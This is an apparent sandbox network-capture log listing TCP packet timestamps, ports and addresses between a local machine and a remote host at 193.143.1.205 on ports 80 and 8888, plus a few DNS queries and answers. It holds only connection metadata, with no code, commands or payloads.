Jan 10, 2025 17:13:10.344744921 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344755888 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344769955 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344770908 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344785929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344794035 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344799042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344821930 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344872952 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344885111 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344896078 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344907045 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344914913 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344919920 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344933033 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344942093 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344945908 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.344959974 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.344985008 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345026016 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345037937 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345057011 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345067978 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345078945 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345079899 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345091105 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345102072 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345105886 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345113993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345124960 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345130920 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345148087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345151901 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345166922 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345177889 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345190048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345191002 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345201969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345210075 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345212936 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345225096 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345237017 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.345242977 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.345273018 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.365889072 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365909100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365935087 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365952969 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365966082 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365983009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365995884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.365994930 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366009951 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366023064 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366031885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366035938 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366049051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366055965 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366060972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366075039 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366080999 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366091013 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366101027 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366112947 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366123915 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366132021 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366137028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366149902 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366169930 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366179943 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366188049 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366206884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366219997 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366223097 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366230965 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366242886 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.366254091 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.366272926 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.377909899 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.377928972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.377940893 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.377952099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.377964973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.378096104 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.384708881 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384747028 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384761095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384779930 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.384783030 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384795904 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384807110 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.384810925 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384823084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384833097 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384841919 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.384845972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.384869099 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.384884119 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.397569895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397595882 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397608042 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397619963 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397631884 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397643089 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397656918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397670031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.397676945 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.397748947 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419406891 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419434071 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419445992 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419460058 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419471025 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419482946 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419492960 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419511080 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419512987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419523954 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419531107 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419536114 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419548035 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419552088 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419562101 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419573069 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419572115 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419585943 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419590950 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419599056 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.419630051 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.419651985 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431648970 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431685925 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431698084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431710005 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431720972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431744099 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431756973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431771040 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431783915 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431794882 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431798935 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431804895 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431811094 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431822062 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431843996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431847095 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431857109 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431869030 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431874037 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431881905 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431893110 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431898117 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431905031 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431915045 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431919098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431941986 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.431957006 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.431977034 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432028055 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432039976 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432063103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432073116 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432084084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432084084 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432096958 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432111979 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432116032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432130098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432137966 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432142973 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432154894 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432167053 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432197094 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432235956 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432248116 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432260990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432271957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432284117 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432295084 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432295084 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432308912 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432322025 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432337999 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432389975 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432401896 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432415009 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432424068 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432427883 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432440996 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432449102 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432452917 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432473898 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432487965 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432498932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432509899 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432538033 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432538033 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432600021 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432616949 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432629108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432646990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432657003 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432660103 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432672024 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432681084 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432686090 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432698011 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432709932 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432710886 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432720900 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432727098 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432735920 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432753086 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432768106 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432800055 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432877064 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432888985 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432900906 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432910919 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432923079 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432924032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432939053 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.432944059 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.432966948 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453581095 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453618050 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453636885 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453649044 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453660011 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453660965 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453675032 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453681946 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453689098 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453701019 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453707933 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453711987 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453725100 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453736067 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453738928 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453748941 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453758955 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453779936 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453800917 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453804970 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453814030 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453828096 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453835964 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453840971 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453851938 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453865051 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453865051 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453876972 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453885078 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.453890085 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.453912020 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.472388029 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472404957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472424984 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472438097 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472449064 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472461939 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.472512007 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.472562075 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.648588896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653528929 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653649092 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653669119 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653681993 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653692007 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653697968 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653702974 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653708935 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653718948 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653719902 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653731108 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653744936 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653752089 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653760910 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653772116 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653789997 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653793097 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653801918 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653811932 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653814077 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653825045 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653831005 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653836966 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653856039 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653860092 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653872967 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653883934 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653884888 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653899908 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653918982 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653925896 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653933048 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653944969 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653945923 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653959990 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653970957 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653981924 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.653987885 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.653992891 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654006958 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654017925 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.654017925 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654031038 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654036999 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654040098 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.654043913 CET	80	49752	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:10.654056072 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.654083967 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:10.898410082 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:11.041526079 CET	49752	80	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:11.527215958 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:11.532174110 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:11.535437107 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:11.535645962 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:11.540446997 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:12.363373041 CET	8888	49768	193.143.1.205	192.168.2.9
Jan 10, 2025 17:13:12.416213989 CET	49768	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 17:13:13.519820929 CET	49768	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:13:19.458034992 CET	62037	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:13:19.458034992 CET	192.168.2.9	1.1.1.1	0xecf3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:12:59.972660065 CET	1.1.1.1	192.168.2.9	0x11c2	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:59.972660065 CET	1.1.1.1	192.168.2.9	0x11c2	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:12:59.972660065 CET	1.1.1.1	192.168.2.9	0x11c2	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:19.465398073 CET	1.1.1.1	192.168.2.9	0xecf3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
